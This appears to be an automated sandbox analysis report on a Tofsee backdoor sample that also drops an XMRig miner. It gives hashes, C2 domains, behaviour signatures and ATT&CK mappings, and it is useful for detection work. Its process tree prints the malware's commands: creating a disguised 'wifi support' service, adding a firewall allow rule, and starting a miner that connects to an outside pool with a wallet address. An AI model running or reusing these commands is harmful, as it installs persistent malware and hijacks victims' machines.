Analysis

  • max time kernel
    171s
  • max time network
    194s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    12-06-2022 08:15

General

  • Target

    a32cb954b59474466a9eaf3a821fd6c4331b95855e4f80f960fa938e51f5faaf.exe

  • Size

    222KB

  • MD5

    ea91b1adb85d158336aed7e6ad4806fc

  • SHA1

    281b3a7434f537dae73cde3a0426f9d75181ae36

  • SHA256

    a32cb954b59474466a9eaf3a821fd6c4331b95855e4f80f960fa938e51f5faaf

  • SHA512

    ef015dcbe63d5d2a287c681b111acc8f95d2df179c58f2683258537e2426e02079b0c3a48a78b8e30ab875f3457ddc9e199bb2c9f8a789550b9cfae92edb0ce1

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a32cb954b59474466a9eaf3a821fd6c4331b95855e4f80f960fa938e51f5faaf.exe
    "C:\Users\Admin\AppData\Local\Temp\a32cb954b59474466a9eaf3a821fd6c4331b95855e4f80f960fa938e51f5faaf.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2560
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bajmlcyt\
      2⤵
        PID:1680
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vtrptxpq.exe" C:\Windows\SysWOW64\bajmlcyt\
        2⤵
          PID:4792
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bajmlcyt binPath= "C:\Windows\SysWOW64\bajmlcyt\vtrptxpq.exe /d\"C:\Users\Admin\AppData\Local\Temp\a32cb954b59474466a9eaf3a821fd6c4331b95855e4f80f960fa938e51f5faaf.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1344
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bajmlcyt "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:956
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bajmlcyt
          2⤵
          • Launches sc.exe
          PID:2240
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4220
      • C:\Windows\SysWOW64\bajmlcyt\vtrptxpq.exe
        C:\Windows\SysWOW64\bajmlcyt\vtrptxpq.exe /d"C:\Users\Admin\AppData\Local\Temp\a32cb954b59474466a9eaf3a821fd6c4331b95855e4f80f960fa938e51f5faaf.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1656
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1212
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3916

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\vtrptxpq.exe
        Filesize

        10.3MB

        MD5

        1029d01b804bd2ecc43b4764412b04a0

        SHA1

        8ba299a93199027e7ab8585149a35b18e147f5b6

        SHA256

        2d9fe099a5193cb5860e842d2bf7d01e1eab93ce8c0aa750a6f3f4527506a195

        SHA512

        0bccebf3cc5c26bd5df1f43aa10ebee38556fbc1f606fb8b184f29aef047384713462a45146fec5163e52e27f9d77d181577bed66d86759af2d46c3f35b85a9a

      • C:\Windows\SysWOW64\bajmlcyt\vtrptxpq.exe
        Filesize

        10.3MB

        MD5

        1029d01b804bd2ecc43b4764412b04a0

        SHA1

        8ba299a93199027e7ab8585149a35b18e147f5b6

        SHA256

        2d9fe099a5193cb5860e842d2bf7d01e1eab93ce8c0aa750a6f3f4527506a195

        SHA512

        0bccebf3cc5c26bd5df1f43aa10ebee38556fbc1f606fb8b184f29aef047384713462a45146fec5163e52e27f9d77d181577bed66d86759af2d46c3f35b85a9a

      • memory/956-192-0x0000000000000000-mapping.dmp
      • memory/1212-486-0x0000000000D40000-0x0000000000D55000-memory.dmp
        Filesize

        84KB

      • memory/1212-456-0x0000000000D40000-0x0000000000D55000-memory.dmp
        Filesize

        84KB

      • memory/1212-384-0x0000000000D49A6B-mapping.dmp
      • memory/1344-187-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/1344-185-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/1344-183-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/1344-184-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/1344-186-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/1344-181-0x0000000000000000-mapping.dmp
      • memory/1344-182-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/1656-392-0x00000000008C6000-0x00000000008D3000-memory.dmp
        Filesize

        52KB

      • memory/1656-369-0x0000000000660000-0x00000000007AA000-memory.dmp
        Filesize

        1.3MB

      • memory/1656-365-0x00000000008C6000-0x00000000008D3000-memory.dmp
        Filesize

        52KB

      • memory/1656-395-0x0000000000400000-0x0000000000653000-memory.dmp
        Filesize

        2.3MB

      • memory/1680-169-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/1680-168-0x0000000000000000-mapping.dmp
      • memory/1680-170-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/1680-173-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/1680-171-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/1680-172-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2240-203-0x0000000000000000-mapping.dmp
      • memory/2560-159-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-137-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-143-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-144-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-145-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-146-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-147-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-148-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-151-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-150-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-149-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-152-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-154-0x0000000000720000-0x000000000086A000-memory.dmp
        Filesize

        1.3MB

      • memory/2560-155-0x0000000000660000-0x000000000070E000-memory.dmp
        Filesize

        696KB

      • memory/2560-156-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-157-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-153-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-158-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-116-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-160-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-162-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-163-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-164-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-161-0x0000000000400000-0x0000000000653000-memory.dmp
        Filesize

        2.3MB

      • memory/2560-165-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-166-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-167-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-141-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-139-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-142-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-138-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-131-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-132-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-117-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-118-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-119-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-120-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-135-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-121-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-122-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-136-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-134-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-133-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-130-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-129-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-126-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-128-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-127-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-125-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-123-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/2560-235-0x0000000000400000-0x0000000000653000-memory.dmp
        Filesize

        2.3MB

      • memory/2560-124-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/3916-521-0x000000000049259C-mapping.dmp
      • memory/4220-230-0x0000000000000000-mapping.dmp
      • memory/4792-174-0x0000000000000000-mapping.dmp
      • memory/4792-179-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/4792-178-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/4792-177-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/4792-176-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB

      • memory/4792-175-0x0000000077550000-0x00000000776DE000-memory.dmp
        Filesize

        1.6MB